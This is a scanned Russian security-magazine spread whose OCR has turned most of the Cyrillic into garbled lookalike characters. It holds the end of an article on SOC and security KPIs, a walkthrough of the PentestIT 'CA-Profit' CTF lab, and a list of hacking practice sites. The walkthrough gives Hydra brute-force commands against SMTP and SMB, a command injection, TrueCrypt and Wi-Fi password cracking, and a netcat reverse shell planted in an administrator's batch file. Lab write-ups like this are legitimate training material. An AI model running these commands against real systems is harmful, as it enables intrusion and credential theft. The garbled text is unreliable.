6oTy KOMaHAbi pearMpoBaHM^: BpeMH peaKu,MM Ha mhumacht m npou,eHT mhumachtob c Ha- 
pyiueHHbiM SLA (to ecTb THHy/iM c asmctbmhmm oneHb AO/iro). 

Kpoivie Toro, MMeeT CMbion TaKxe oueHMBaTb cpeAHee Bpeiviq peaKu,MM, TorAa no A3H- 
hom MeTpMKe moxho BMAeTb o6lamm nporpecc mjim perpecc 

Kpoivie BpeivieHM peampoBaHMa, ecTb eme Bpeivm pa3peiueHMa npo6neivibi, to ecTb 
cpoK, KOTopbiM noTpe6oBa/ica KOMaHAe Ha pa3peweHMe MHUMAeHTa m ero 3aKpbiTMe. Ha- 
npMMep, KaK MHoro BpeivieHM noHaAo6M/iocb A-n^ ycTaHOBKM narna Heartbleed, HaxoxAe- 
Hv\n MHcaMAepa m oct3hobkm ero Ae^Te/ibHOCTM m/mjim BbmB/ieHMH Bcex CBH3aHHbix c stmm 
MHu,MAeHTOM BaxHbix AeTaneM (3aBepujeHHoe paconeAOBaHMe MHu,MAeHTa). M sto Bpeivm 
A-nn pa3Hbix TMnoB mhumachtob Toxe MoxeT 6biTb b paMKax HeKOTOpbix AonycTMMbix npe- 
AenoB, to ecTb onm-b SLA. 1/1 cooTBeTCTBeHHO, TaKMe xe MeTpMKM — CKO/ibKO pacKpbiTbix 
He BOBpeiviq MHu,MAeHTOB, cpeAHee Bpeiviq 3aKpbiTMq yq3BMMOCTeM m TaK Aa/iee. 

MToro y Hac yxe MMHMMyM luecTb mctpmk, KOTOpbie eiue caMM no ce6e moxho paHXM- 
poBaTb no TMnaM mhumachtob, — HanpMMep, npM pa6oTe c DLP-mctohhmkom y Hac yxoAMT 
6onbiue BpeMeHM Ha 3aK/iioMeHMe no MHu,MAeHTy, neM c IDS, TaK KaK Tpe6yeTca 6onbiue 
HenoBeKO-nacoB A-na toto, hto6n pa3o6paTbca, hto npOM30LUJio. 3to o6o6iAeHMe, koto- 
poe 6a3MpyeTca Ha cyxMx qbaKTax. HanpMMep, Mcnojib3ya cpeAHee BpeMH peampoBaHMa, 
moxho o6ocHOBaTb Tpe6oBaHMfl k SOC no pa6oTe 24/7, ec/iM TaKOM pockolum eme HeT. 

KoHenHO, Tpe6oBaHM^ k MeTpMKaM 3aBMC«T on^Tb xe ot 3aAan m u,eneM, KOTOpbie Mbi 
peiuaeM m onpeAO-n^OM, ho maBHoe, hto TaKMe uMcJ)pbi noKa3biBaiOT mmchho 3cJ)cJ)eKTMB- 

HOCTb HaLUeM pa60Tbl, a He a6CTpaKTHyiO CTaTMCTMKy yfl3BMMOCTM m mhumachtob, KOTOpafl 

HeoneHbHeTKO roBOpMTo6 3cJ)ct)eKTMBH0CTM. B3flTb, HanpMMep, ApyroMnoKa3aTe/ib — hmc- 
jio BbmBneHHbix kpmtmhhhx yq3BMMOCTeM, paHXMpoBaHHbix no MCTOHHMKy co6biTMfl: CKa- 
Hep 6e3onacHOCTM, BHeniHMe neHTecTbi, BHyTpeHHMM mctohhmk (co6cTBeHHaa SecTeam, 
HanpMMep), Bug Bounty, Abuse report m TaK A^-nee. TaKaa MeTpMKa moxct peanbHO no- 
Ka3biBaTb npoueHT aqbqbeKTMBHOCTM Toro m^m MHoro MCTOHHMKa. HanpMMep, 6bi/iM y Hac 
oahm u,M(t>pbi ao BBeAeHM^ Bug Bounty, a noone CTa/iM APyrMe — KO/iMnecTBO mhumach- 
tob c IDS m Bug Bounty Bbipocno, a, AonycTMM, KO/iMnecTBO mhumaohtob c Abuse report 
m BHeiuHMx neHTecTOB ynano. Mjim b MTore Boo6iAe KO/iMnecTBO mhumachtob, KOTOpbie 

nni/iRPni/i «R.^nnM\/ nnnyMMM nanwtiwM» vnann Hn Rn.^Mn^Hn ni/inprn m hp i/i^mphi/itp.q m \ 



y pa3Hbix KOMnaHMM, c pa3HbiM l/IT-jiaHAwacfrroM M 6n3HecoM, 6yAyT pa3Hbie pe3ynbraTbi. 

Aono/iHMTe/ibHO yxe He coBceM npo MHu,MAeHTbi, ho Bee xe — moxho CTponTb KPI 
A/ia caMMx «mctohhmkob», HanpHMep KaK othollighmg False Positive KTrue Positive, b cny- 
nae Bug Bounty — KaK Low Critical n High Critical penopTOB k o6meMy KO/iHnecTBy penop- 
tob m TaK Aa/iee. 

B MTore 6yAeT CTaTucTunecKi/i bmaho, KaKi/ie mctohhmkm 6o/iee «6ynujMTHbi» n MeHee 
no/ie3Hbi, a maBHoe — no otom xe MeTpi/iKe moxho CMOTpeTb, KaK b Tenem/ie roAa Mbi 
bjihhjih Ha pe3y^bTaT. K npniviepy, Hani IDS AaeT N% False Positive a/iepTOB, hto C03Aa- 
eT HHUMAeHT (b MOMeHT a/iepTa sto o6biHHbifi BbicoKonpnopnTeTHbM MHu,MAeHT, Mbi eme 
He 3HaeM, hto TaM m noneMy, ho b npouecce pa36opa CAe/ia/iM 3aK/noHeHne — False 
Positive). TaKne FP TpaTHT pecypcbi KOMnam/in, noaTOMy ohcbmaho, hto npoueHT FP HaAO 
CHuxaTb, HanpMMep onTMMM3npOBaTb npaBH/ia IDS, AC/iaa mx 6o/iee tohhwmh, i/mn ot- 
K/iKDHaTb, ec/iH ohm Boo6me HenpHMeHMMbi b AaHHOM cpeAe. B MTore 3Ta MeTpuiKa b ah- 
HaMMKe 6yAeT noKa3biBaTb, KaK Mbi pa6oTaeM c IDS: nmopupyeM, y/iyHiuaeM FP-noKa- 
3aTe/ib, yMeHbLuaa ero, v\nv\ oh BOo6iu,e pacTeT, noTOMy hto Mbi 6e3AyMHO yBenwHi/iBaeM 
cumaTypHyio 6a3y bchkom AP^Hbio. 

HTO ME XOTEJI CKASATb ABTOP? 

KaK BMAHO, B HHCj)06e30naCHOCTM MOXHO npMAyMaTb OHeHb MHOrO B03MO>KHblX MeTpMK, 

ho nnaBHoe — ncnonb30BaTb mx c vmom. Jlio6oPi mhumacht KaK o6"beKT i/iMeeT MHOxe- 
ctbo cbomctb h napaMeTpoB, KOTopbie moxho OTC/iexMBaTb, paHXMpoBaTb, rpynnwpo- 

BaTb M Ae/iaTb BblBOAbl. 

TnaBHoe — noHHTb, nero Mbi xotmm, m opueHTupoBaTbca Ha pea/ibHyio npHMeHMMOCTb 
m aAeKBaTHOCTb b paMKax CBoen cpeAbi. To ecTb sto He Aon>KHa 6biTb npocTO «MeHeA>Kep- 
CKaa» MHMu,naTMBa c uenbio M3o6pa3MTb 6yMaxHyio Ae^TenbHOCTb. MeTpwKi/i MoryT 6biTb 
oneHb none3Hbi, oco6eHHO KorAa ohm ocHOBaHbi Ha pea/ibHbix AaHHbix, KOTopbie 3aBwcm~ 
ot pea/ibHbix co6biTMM m pea/ibHOM pa6oTbi, i/iHane sto 6yAeT hcbo3mo>kho MHTepnpeTM- 
poBaTb. nosTOMy hvxho noHMMaTb, kto 6yAeT pa6oTaTb c KPI, A-na k3kmx u,enei/\, KaKi/ie 
npou,eccbi 3aTparnBaiOTCfl m hvxho jim sto BOo6i±i,e — HacKo/ibKo sto aAeKBaTHO. Ec/im 
Bee CAenaTb no yMy, to Aaxe «6yMaxHafl» MB SyaeT npaKTHHHa. 

TaK hto npnAyMaTb moxho Bee hto yroAHO, maBHoe — HTo6bi Bee sto MMe/io CMbion 
KaK An^ Tex, kto ou,eHHBaeT, TaK n A-na Tex, Koro ou,eHMBaiOT. BceM Ao6pa. UH 



TAK MOXET BblTJlflAETb flMATPAMMA C KPI flO CJ1MBY SLA 

Total SLA not respected — 10% +1 % from last month 
Total for Critical Incidents — 3% -1 % from last month 
Total for other Incidents — 4% +2% from last month 



Not respected SLA 
for Critical Incidents 

Not respected SLA 
for Normal Incidents 

Respected SLA 
for Critical Incidents 

Rpcnpriprl Rl A 




TAK MOKET BblTJlflflETb flMATPAMMA C BblBOAOM no IDS 



IDS FP ~ 13% 



Detected Attacks 
(System Not Affected) 

Succesful Attacks 
(True Positives) 

False Positives 



PACCMATP1/1BAEM nPOXOXflEHME CAMblX 
MHTEPECHblX 3 A^AH l/l l/l \A3 O^HOM 
HE5E3bl3BECTHOI/l J1ABOPATOPI/M «CA»-nPOOMT 



B abhhom nyS/iMKauMM oni/icaHO npoxoxAeHMe 6o/ibUJMH- 
CTBa npeA^noxeHHbix 3aflaHMi/i jia6opaTopi/ii/i c KOHKypca 
«CA»-[1poct)i/lT ) KOTopbiM npoBOflM/ic^ b Hana/ie ceHT^gpq 
2013 rofla OHnai/iH Ha nopTane PentestIT, a cemac aKTMBHO 
ncno/ib3yeTC?i b npoeKTe Zero Security. 






WARNING 



WWW 



WWW 



Bch MH(J)opMai4Mfl, coAepwamaflCfl b daTbe, npe- 
AOCTaB/ieHa To/ibKO b 03HaK0MmejibHbix ue/wx. 



CafiTJiaSopaTopww: 

samag.pentestit.ru 



MHCTpyKUMq no noflKJiio- 
4eHMK)KJia6opaTopnn 



BCTynnEHME 

flpuBeTCTByK) Te6a, yBaxaeMbiPi suTaTe/ib. HanHy CBoe noBecTBOBaHi/ie, noxajiyPi, CToro, 
KaK caM CTO/iKHy^ca c 3tom jia6opaTOpneM. O Hew a y3Haji noc/ie Toro, KaK nona/i Ha 6ec- 
rmaTHyio CTaxi/ipoBKy ot Zero Security , b kotopom AaHHaa Jia6opaTopwfl ncno.nb30Ba.nacb 
A-na npaKTunecKoro B3JioMa. ripexfle Bcero Heo6xoAMMO 6bi/io 3aperwcTpnpoBaTbCfl 
Ha caPiTe Jia6opaTopwi. nepBbiM Ae/iOM noone perncTpauMM HaweMy B3opy npeACTaeT 
KapTa c AOBO/ibHO noAPo6HOM cxeMOki ceTM, 3axBaTOM KOTopofi Mbi h 6vagm 3aHMMaTbCfl. 
Hto xe KOHKpeTHO hvxho Ae/iaTb? Bee b Ao6pbix TpaAHLU/iax CTF-cocTa3aHMM — no/iy- 
HMTb AGCHTb cfxnaroB. Hy hto x, AOBO/ibHO nycTbix pa3roBOpOB, npuciynuM k 3axBaTy. 




KapTa caPiia 



oxiAr 1 

riepBbiM Mei-m 3awHTepecoBa.n <\>nar SMTP. HaAO CKa3aTb, hto c hum Bee 6bi.no flocia- 
tohho ohgbmaho, — Ha 25-m nopTy abho BMCG/i SMTP-cepBep. HaMA^ Ha caMTe hgkykd 
noHTy info@test.lab, a pew km nonpo6oBaTb npocTO c6pyTMTb naponb A-na Hee. Rnn 3Toro 
a BOcno^b30Ba/ica CTaHAapTHOM yTmiMTOM, BX0A^LU,e^ b cocTaB Kali Linux, noA Ha3BaHM- 
eM Hydra. ["Iohwtbb HeMHoro MaHya/iOB, coopyAH/i cnep,y\ou\y\o KOHCTpyKu,MK): 

hydra -1 info@test . lab -P passwords . 1st smtp://192. 168. 56. 252:25 

KOTopaa m no3BO.ni/i.na nonynnTb AOCTyn k noHTOBOMy icni/ieHTy (npwMep pa6oTbi yTM/in- 
Tbi cmotpm Ha CKpMHiuoTe). flo/iyHMB AOCTyn k flww<y, a nojiHOCTbK) i/iccneAOBan ero M, 
Ha CBoe yAHB^eHne, Hawe/i TaM SSH-kjikdhi/ik (oh npuroAH/ica mhg a-tih no/iyneHM^ one- 
peAHoro cj)/iara, mma KOTopoMy TERMINAL. Ho BceMy CBoe Bpervia, o HeM Mbi noroBopmvi 
nyTb no3xe). 

root ©k., I, - 



root@kali:~# hydra -1 info@test .lab -P /usr/share/john/password.lst smtp://192. 168.56.252:25 
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only 

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-06 08:46:01 

[INFO] several providers have implemented cracking protection, check with a small wordlist first - and st 
ay legal! 

[DATA] 16 tasks, 1 server, 3557 login tries (l:l/p:3557) , -222 tries per task 
[DATA] attacking service smtp on port 25 



ripuMeHeHne Hydra 
OJIAr 2 

riocMOTpeB Ha3BaHMH BcexTacKOB Ha KapTe, a, He 3Haio noneiviy, 3anHTepecoBanca GAME. 
noAK/noHmicfl k BHyTpeHHew ceTM, nepewen no aApecy c KapTbi h o6Hapyxmi coBepweH- 
ho o6biHHyio flash-nrpy! 

Cpa3y b ro/iOBy 3aKpanacb Mbicnb: HTo6bi nonyHHTb cjxnar, HaAO no6eAHTb. Hy hto xe, 
nonpo6oBan nonrpaTb — v\ noHan, hto npocTO TaK no6eAHTb He BbiMAeT. Pewnn bhm- 
MaTe/ibHO n3ynnTb BHyTpeHHOCTM HameM nrpbi. npoaHa/iM3npoBaB mcxoahmkm, 9\ yBMAe/i 
i/iHTepecyjomyK) MeHH (t)yHKu,MK). Aa-Aa, sto c^yHKUMfl nepexoAa Ha cnep,y\ou\\A\/\ ypoBeHb, 
/iMCTMHr KOTOpoPi npeACTaB/ieH Huxe: 

function get_new_level(start_height y hash){ 
flag_cur_count = 0 
elements = new ArrayQ; 
flags = new ArrayQ; 



$.ajax({ 

url: "/home/newlevel" s 
dataType: "json", 
type: "POST", 

AQ\/nr • -f al «;p . 



dataj__{ height : start_height y hash: hash}, 
success: f unction(data){ 



flag_fisrt = data.pop() 

if (flag_fisrt.id == "key"){ 



alert (flag_fisrt .type) 
flag_fisrt = data.pop() 



} 



flag_count = flag_fisrt .type 
ctx_score.fillText(flag_count, 15 , 30) 
$.each(data, f unction(i J j){ 
if (width <= cur_wiflth){ 



cur_height+=48 
cur width = 0 



-}- 

switch( j .type){ 



} 



cur width+=48 



}) 



h 

complete: function(){ 



ball = {x:24,y:start_height} 
setlnterval(play, 10.)_ 



} 



}) 



} 



rioKOBbipHB ee okojio nanynaca, n Hawe/i peiueHi/ie cneAyioinero BMAa: 
get_new_level(0,MD5 (flags . length .toSt ring ( ) ) ) 



Mcno/iHMB 3tot koa b KOHCojiM, Mbi nonaAaeM Ha c/ieAYK)U4MM ypoBeHb c HaHi/icneHMeM oh- 
kob. Aanee n,eno ocTa/iocb 3a Ma/ibiM — o6epHyB 3tot koa b u,mk/i m nojiyni/iB bot TaKyto 

KOHCTpyKU.HK): 

f or (i=0; i<100; i++){get_new_level(0,MD5 (flags . length . toString( ) ) ) ; } 



Mbi bmahm coo6meHi/ie 06 ycneujHOM 3aBepujeHMM nrpbi m Hauj cj)nar. BoTTaK-TO :). 

/-x a Hiir— r\ir Ham cj)Jiar Game rfle-TO 3flecb 



INFO 

KorAa 3tot HOMep acypHa- 
jia BbiMfleT b CBeT, ycneeT 
npoMTweme OAHajia6o- 
paTopufl noA Ha3BaHneM 
«HawarBnepeAn» , koto- 
paa 6yAeT npoBOAHTbca 
b paMKax KOH(J)epeHi4MM 
Positive Hack Days 2014. 
Oner c KOH^epeHUMM 
n npoxo)KAeHMe 3tom 
na6opaTopun >kam b c/ie- 
AyioiiiMXHOMepax][. 

OilAr 3 

TpeTbew cbogm ue/ibio a pewi/m Bbi6pa~rb qb/iar noA Ha3BaHweM WIKI. Ha3BaHne cjxnara tobo- 
Pmt caMO 3a ce6a — nepeA HaMi/i caMbiPi o6biHHbiw npoTOTun BMKuneAnn. ripaBAa, c oahom 
Ao6aBOHHOM (JjyHKuneM — B03MC»KHOCTbio nwHroBaTb IP-aApeca. 3a6eraa BnepeA, CKaxy, 
hto AaHHbiM cjxnar 6t>\n He oneHb cnoxHbiM, OAHaKO noAXOA k Herviy h Hawe/i Aa/ieKO He cpa- 

3y. M3HaHa/lbHO 6blJ10 nOHHTHO, HTO B 3T0M 3aAaHMM Heo6xOAHMO HaMTH M paCKOBbip^Tb Ka- 

KyK)-TO MHteKUMK). OAHaKO y MeHfl noHeiviy-TO oneHb aojito He cpacTa/iocb c ee Bbi6opoM. 
rioKa b oahh npeKpacHbiw MOMeHT, Ti/ixoHbKO nbixTfl HaA 3aAaneM, a He o6Hapy>Knn TaKyK) 
yji3Bi/iMOCTb, K3K Post Command Injection. Cyrb a3hhom aiaKM 3aK/iioHaeTCfl b tom, hto ne- 
pe3onpeAeneHHbiMCMMBO/i-pa3Ae/iMTe/ibyKa3biBaeTca o6biHHaflJiMHyKC-KOMaHAa, pe3y/ib- 

TaT BbinO/IHeHMfl KOTOPOM Mbl M BMAHM Ha 3KpaHe. riOHHB, HTO 3T0 TO, HTO HyXHO, yKa3a/l 

b CTpoKe ni/iHr KOMaHAy j Is; , b pe3yjibTare nero b otbct MHe BepHy/icfl cnncoK AnpeKTopuM. 
«ypa!» — noAyMa/i a h Hana/i aHa/iomnHbiM cnoco6oM wccneAOBaTb Ka>KAyK) AnpeKTOpnto. 
TaK m 6bm HaPiAeH stot 0jiar. 

OJlAr 4 

CneAyKDiAMM Ae/iOM 9\ pewnji math Ha noMCKM y>Ke ynoMHHaBwerocfl qb/iara TERMINAL, no- 
cne HeKOTopofi mopokm c SSH-noAK/iKDHeHweM a HaKOHeu, yBMAe/i 3aBeTHyio CTpoKy npuBeT- 
ctbmh TepMMHana. Aa/ibiue Bee lujio He coBceM KaK o6biHHO, a ecni/i TOHHee — 6bi/i HaMAeH 
4>aM/i c Hen3BecTHbiM MHe ao cmx nop pacLuwpeHi/ieM terminal.tr. CKa>Ky cpa3y: Ha to, 
HTo6bi pa3o6paTbca, hto xe sto 3a c^aftn, BpeivieHu yumo ropa3AO 6o/ibLue, neM Ha peiue- 
Hue caivioro TacKa :) Hy co6cTBeHHO, noc/ie N nacoB rynneHHH n BbmcHi/m, hto sto k3kom-to 
KpnnTOKOHTeMHep. noHMTaB HeMHoro 06 3tom BMAe c|)aMJiOB, 9\ ycTaHOBHJi, hto, BepojiTHee 
Bcero, stot KOHTefiHep C03AaH yTM/iMTOM TrueCrypt. B CTaHAapTHOM MHCTpyMeHTapMM Bee 
Toro xe Kali Haw/iacb yTi/i/iMTKa, noA Ha3BaHneM TrueCrack, c noMombio KOTopoPi moxho 
6bijio BCKpbiTb 3tot KpwnTOKOHTetiHep. 9\ 3anycTHji bot TaKyK) KOMaHAy A/i^ noA^opa napo- 

truecrack -t /root/terminal. tr -s 4 -m 6 -v -c 0123456789^ 

n noiuno AO/iroe BpeMH oxnAaHna. Hepe3 HecKO/ibKO nacoB Hauia yTi/ini/iTKa CKa3a/ia, 
hto napo/ib noAo6paH. C orpoMHeMLUMM yAOBonbCTBueM n B3irmHy/i BHyTpb KOHTeMHepa 
i/i TaM Hawe/i Hani aoji roxAaH h bi m cfxnar. 




OJIAr 5 

TeM BpGMeHGM cnoxHOCTb 0/iaroB Bee poena, h mn CTa/in noA6i/ipaTbca k ropa3AO 6onee 
i/imepecHbiM TacKaM. Oahum M3 TaKnx OKa3ajiocb 3aAaHne noA Ha3BaHMeM FILE. nepBbiM 
Ae/iOM q B3nncn CKaHwpoBaTb Nmap'oM Maiui/iHy AaHHoro (Jxnara. B pe3y/ibTaTe CKaHnpoBa- 
Hua o6Hapyxmiocb HecKO/ibKO OTKpbiTbix nopTOB, a TaKxe ABa nopia, Ha3HaHeHne KOTopbix 
9\ He 3Han. MMeHHO noaTOMy ohm cpa3y npi/iBJieicni/i Moe BHHMaHi/ie, m n pewi/m, hto mmghho 
mx AO^xeH npoBepnTb b nepByio onepeAb. HaAO CKa3aTb, nyTbe Ha stot pa3 w\eH9\ He noA- 
Beno. Ha 3tmx nopTax Buice/i (J)aPmoBbM cepBep Samba (hto sto TaKoe, a on*n~b xe y3HaBa/i 
H3 ryrna :)). Hy hto x, HeMHoro noKonynaBLUMCb, n BbmcHi/m, hto rhh noAK/iKDneHnq HaM 
Heo6xoAHMa napa jiomH/napo/ib. JlorHH, kct3tm roBopa, 6b\n ycneniHO HaMAOH Ha noHTe 
(noMHMLUb caMbiPi nepBbiM cf>jiar?), xoth b tot MOMeHT n eu\e v\ He noA03peBa/i, ot nero oh. 
npo6pocnB An^ Aa/ibHeMLiieM pa6oTbi oahh H3 nopTOB cneAyiOLAi/iM o6pa30M: 

ssh info@192.168.56.252_^A0.0.0:113ail22U6.0.4O39 

c noMOLAbio yxe M3BecTHOM HaM Hydra HaHMHaeM 6pyTMTb napo/ib k caivi6e: 

hydra -1 m.ivanova -P john . password . 1st smb://localhost :1139 

riocne nonyHeHWfl naponn, npo6pocnB btopom nopT, Heo6xoAHMO noAK/ifOHHTb yAaneHHyK) 
AnpeKTopMK). CAeJiaTb sto moxho npqMO M3 poAHoro ajih Kali «npoBOAHMKa» — nponn- 
caB b aApecHyio CTpoKy smb://localhost, Mbi yBi/iAUM ABe 3aMenaTe.nbHbie AnpeKTopwu. 
B oahom M3 hmx jiexwT Haiu 33BeTHbiM cjxnar. A bot bo btopom OKa3anncb CjjaMJlbl, Ha KOTO- 
pbie n Ha paAOCTflx Aaxe He o6paTn/i BHi/iMaHnq. 3a6eraa BnepeA, CKaxy Te6e no ceKpeTy, 
hto b 3Ty AnpeKTOpMK) Mbi ei_u,e nyTb no3xe BepHeMca. 

OJIAr 6 

MTaK, Hama c/ieAyK)U4aa ue/ib — cjxnar IDS. Ero n ncKan BecbMa AO/iro: qbaM/i 6bm HaAexHO 
cnp^TaH. OAHaKO, 3aTpaTMB MaKCMMyivi ycmiMM v\ ywiviy BpeMeHu, o6Hapyxn/i HaKOHeu, (pawn 
ids . cap. Oafi/ibi TaKoro pacu_inpeHMfl 9\ BCTpenan i/i paHbiue (Konqa nbiTanca no/iOMaTb co6- 
CTBeHHbiw Wi-Fi), TaK hto sto He 6bmo a^ MeHfl neivi-TO HOBbiM. CaM <t>aMJi coAepxa/i AaMn 
TpacJ)HKa, KOTopbiM q oneHb AO/iro m ycepAHO M3yHa/i. KaKOBO xe 6bino Moe yAMBjieHMe, KorAa 
a HaKOHeu, AOAyMancfl, hto AaMn MHe KaK t3kobom m He HyxeH, a HyxeH napo/ib ot Wi-Fi. TaK 
KaK tohkm AOCTyna a jiOMa/i m paHee, Aa/ibHePiLuee pemeHne Hauinocb oneHb 6biCTpo. Bbmn 

HCn0^b30BaHbl ABe yTMJIMTbi: 

• Crunch — nnn co3AaHna cnoBapa nnn nepe6opa; 

• Aircrack-ng — 3aMeHarejibHafl yTunnTa ajih B3/iOMa Wi-Fi-ceTen. 

PeujeHne AaHHoPi 3aAann BbinnaAe.no TaK: 

crunch 8 8 0123456789 | aircrack-ng -e IDS -w - /temp/IDS. cap 

Hy m, KaKTbi Mor AoraAaTbca, napo/ib ot tohkm AOCTyna OKa3a/ica hckomum cJxnaroM. 

OMHMWHblM OJIAr 

C orpoMHbiM yAOBO/ibCTBMeM 9\ HaKOHeu, Ao6pa/icfl ao noc^eAHero cj)/iara. flyTb k HeMy 



Obi/i HenpocT, KaKTbi MoxeLUb BMflGTb 1/13 3toi/i CTarbi/i. Ha3BaHwe aToro cp/iara — admin — 
KaK 6bi hbho AaBa/io noHHTb, hto HaM HyxeH aflMMHi/iCTpaTOpCKMM AOdyn. riepBbiPi bo- 
npoc 6bm: KyAa? Otbgt Hawe/ica AOBO/ibHO 6biCTpo (y Hac xe ecTb KapTa ce™), oah3ko 
BCTa/i ropa3flO 6onee cnoxHbiPi h BecoMbM Bonpoc — KaK? HaA hum q 6hjich noHTi/i He- 
Ae/iio, ncno^b3ya pa3/iWHHbie yTmiMTbi, TaKkie KaK Metasploit, Nessus m MHome-MHorne 
Apyrwe. Oah3ko HMKaKnx n/iOAOB sto He npuiHOcmio. 9\ yxe 6bi.no pewnn, hto tynar stot 
mhg He noAH^Tb, KaK BApyr cnynaMHO, noMoraa KOMy-TO c (J).naroM FILE, HaTKHyncfl Ha Ty 
caiviyK) nanKy, Ha KOTOpyK) cnepBa He o6pa™.n BHi/iMaHnn. B nanKe jiexa/iM cneAytOLuwe 
4)aMJibi: *Prog_admin . bat, *nc . exe nnioc hto-to eu\e a/ia OTBOAa nna3. 

Hy hto x, noAyMa/i a, stot 6a~n-MK, CKopee Bcero, 3anycKaeTCH aAMMHOM. I/I tohho, 
h He oujn6cfl. Bbmo pemeHO nonpo6oBaTb opraHM30BaTb TaK Ha3biBaeMbiPi 63KKOHHeKT. 
A-na 3Toro b 6aTHHK n Aonwcan cneAyiOLuyio CTpoKy: 

%~dp0nc.exe -e cmd.exe 172.16.0.3 31334 

AaBaM pa36epeM ee no HacTHM: 

• %~dp0 — 3to yKa3aTe^b Ha TeKymyio AHpeKTopMK) b OC Windows; 

• nc . exe — sto Ham jhoSmmnm netcat, AyMaio, Bee 3H3K)t, hto sto TaKoe h c neM ero eA*n~; 

• Aa-nbLue, b npwHu,i/ine, Bee hcho: Mbi 3acTaB.rmeM 3anycTi/iTbca KOMaHAHyio CTpoKy, 
ho BemaTb ee Mbi 6yAeM no aApecy 172. 16.0.3 Ha nopT 31334. 

3aTeM, Bbino/iHMB b CBoeM TepMMHa/ie KOMaHAy nc -1 31334, Mbi HaHHHaeM cnyujaTb nopT. 
I/I, o nyAO, b TeneHMe 6yKBa/ibHO n?rrn MUHyT y Hac noflB/meTCH Windows-KOHCO/ib, a sto 
3HanMT, Hauj 6sKKOHHeKT cpa6oTa.n, hto He MOxeT He paAOBaTb. Aa/iee, b npnHu,nne, Bee 
6bmo He TaK cjioxho: kom3haom 

dir c:\ /s _/ b /a | fi nd " a dmin" 

HaHHHaeM HCKaTb qbawn c ({xnaroM. l/l hto xe Mbi bi/iahm? &ai/\n OKa3a/icfl b caMOM Heo- 
xMAaHHOM MecTe: C:\WINDOWS\secret_docs\admin.7z. OAHaKO, HaPiA^ ycTaHOB/ieHHyio 
b CTaHAapTHbM KaTa/ior yTmiHTy 7z, Mbi BbmcH^eM, hto npaB Ha C03AaHne cJ^aPinoB y Hac 
HeT (cTpaHHbiPi aAMMH K3K0M-T0, He npaBAa /in?). HeMHoro nopacKMHyB M03raMM, pemaio 
nonpo6oBaTb pacnaKOBaTb apxnB b nanoHKy TEMP — TyAa y Bcex yTM/iMT o6biHHO ecTb ao- 
CTyn. Aa, ACMCTBMTe/ibHO, coo6LAeHi/m 06 owi/i6Ke n yxe He yBi/iAen, OAHaKO, nepe^A^ b ah- 
peKTopMio, <\>av\na n TaM He o6Hapyxn/i — nanKa 6bi/ia nycTa. Bee (J)aPiJibi OTTyAa c™pa- 
/lMCb, KaK TO/ibKO ohm nepecTaBa/iw wcnonb30BaTbCfl. Hy hto x, 3anycTi/iB pacnaKOBKy eLue 
pa3, ho yxe c nepeHanpaB/ieHHbiM bwboaom, h yBMAe/i 3aBeTHbiM ctxnar. 

3AKJHOHEHME 

1/lTaK, q paccKa3aji Te6e o tom, KaK npaKTi/iKOBancfl b /ia6opaTOpnn ot KOMnaHMM PentestlT. 
Xony 3aMeTMTb, TorAa a eLue He 6bm ee coTpyAHMKOM, a 6bm npocTbiM CTaxepoM Zero 
Security. Aa m BOo6i_u,e, eme Tpw-neTbipe Mecnua Ha3aA n 6bin o6biHHbiM HMTaTeneM, 
KaK i/i Tbi, TaK hto Bee b tbomx pyKax. Ha 3tom Bee. Bee MHTepecyioiAne Bonpocbi Tbi mo- 
xeiub npMCbinaTb MHe Ha noHTy. jc 
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KaK 9\ CKa3a/i b caMOM Hana/ie CTaTbM, mgct, rfle jiera/ibHO moxho noATsmyTb cboh Ha- 
BbiKM b neHTecTe/B3/iOMe/noncKe m 3KcnjiyaTau,wn y«3BHMOCTePi, AOCTaTOHHO MHoro. 
CyiuecTByioT KaK cneu.ua/ibHbie AncTpw6yTHBbi, Hawni/iroBaHHbie yfl3BMMbiMi/i npi/mo- 
xeHMaMM, TaK m jia6opaTopnn, aHa/iorMHHbie paccMOTpeHHoti b CTaTbe. HTo6bi HeMHoro 
copneHTnpoBaTb Te6a bo BceM 3tom MHoroo6pa3MM, npMBeAy cnncc-K Han6o/iee nony- 
napHbix nonnroHOB Arm TpeHkipoBKM cbohx xaKepcKMx HaBbiKOB. 



1 . Hacking-Lab ( bit.ly/ltgDgtp ) — Kyna 3aAaHMM Ha pa3rmHHbie TeMbi: pwn, forensics, 
binary m TaK p,anee c pa3HbiMM ypoBH^MM cjioxhocti/i. 

2. SQLI-LABS ( bit.ly/1IM3H5r ) — /ia6opaTopwfl A^rm orraHi/iBaHi/m HaBbiKOB b SKcnnyaTa- 
u,\a\a Error based, Blind boolean based, Time based SQL-i/iH-beKu,nki. 

3. Offensive Security ( bit.ly/Shif4u ) — npoeKT ot C03AaTe/ieM Kali Linux, no3BO.rmio- 
iaum noTpeHHpOBaTbc^ b neHTecTe v\ no/iynnTb cooTBeTCTByKDLu,ne cepTncj)HKaTbi. 

4. Hack This Site ( bit.ly/ShiQD6 ) — AOBO/ibHO MHTepecHbiM npoeKT, nosBcrmfOLAHii no- 
rpy3MTbc?i b Mnp B3^0Ma. Bee 3aAaHi/m pa36nTbi no KaTeropw^M: (J)opeH3MK, c^phkmht 
h TaK Aa/iee. 

5. OWASP ( bit.ly/ldevYyR ) — OTKpbiTbiM npoeKT o6ecneHeHna 6e3onacHOCTM Be6-npi/i- 
zioxeHMM, rAe moxho nonepnHyTb oneHb MHoro Teopnn. 

6. Practice Lab ( bit.ly/1fb61kO ) — aBTOp AanHoro npoeKTa co6npaeT Bee, Ha neivi mox- 
ho nonpaKTMKOBaTbcq bo B3/iOMe, CTpyKTypwpyq no H3biKaM, HanpaB/ieHnqM, MHCTpy- 
MeHTaM m nponeMy. B tom nuc/ie Ha ero caPiTe moxho HatiTu h xaKKBecTbi. 

7. NeoQUEST ( bit.ly/RTijqG ) — exeroAHoe Meponpi/mTkie no Kw6ep6e3onacHOCTH, 
npoxoA^Luee b CaHKT-l1eTep6ypre. nepeA cbmhm MeponpwflTHeM npoBOAHTca ot6o- 
posHbiM Typ, b kotopom MOxeT noynacTBOBaTb n\o6ov\ Xe/iaKDLU,HM. 

8. DVL ( bit.ly/lknNoxu ) — HTo6bi 3anycTHTb BHpTya/ibHyK) xaKna6opaTOpnio y ce6a 

AOMa, AOCTaTOHHO BOCnOJlb30BaTbCfl OAHMM H3 MHOrOHMC/ieHHblX AHCTpn6yTMBOB, 

